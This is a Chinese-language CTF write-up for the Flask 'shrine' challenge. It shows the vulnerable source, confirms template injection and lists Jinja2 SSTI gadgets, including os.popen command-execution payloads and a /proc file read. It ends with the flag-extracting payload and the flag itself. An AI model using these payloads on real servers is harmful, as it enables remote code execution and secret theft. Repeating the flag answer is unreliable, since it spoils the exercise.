赞
踩
给了一串代码,整理后如下进行代码审计。
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
访问根路径返回读取的文件代码信息。
访问/shrine/path,会将path作为信息传入safe_jinja()函数,其中path会被过滤掉()符号,其次对涉及到的config和self黑名单,如果path直接该关键字则会将path置为空。
既然是pyhton的框架,且涉及到路径访问,第一反应猜测是否会涉及到SSTI服务器端模板注入(Server-Side Template Injection)
,实际上也是一种注入漏洞。
我们尝试构造payload:http://61.147.171.105:62961/shrine/{{7*7}}
,返回结果如图:
嗯!确实存在模板注入,那么如何进行注入呢?此处参考大佬写的总结:
__class__ 类的一个内置属性,表示实例对象的类。 __base__ 类型对象的直接基类 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__ __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order. __init__ 初始化类,返回的类型是function __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} current_app 应用上下文,一个全局变量。 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }} g {{g}}得到<flask.g of 'flask_ssti'>
我们直接使用url_for或者get_flashed_messages进行构造url_for.__globals__['current_app'].config['FLAG']
即可,构造的url访问如下:
http://61.147.171.105:62961/shrine/{{url_for.__globals__['current_app'].config['FLAG']}}
得到最答案,最终flag为:flag{shrine_is_good_ssti}
一般python模板注入涉及到知识比较广,但是套路基本固定,参考大佬的总结文章即可,问题不大。再次引用一次优秀博文:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。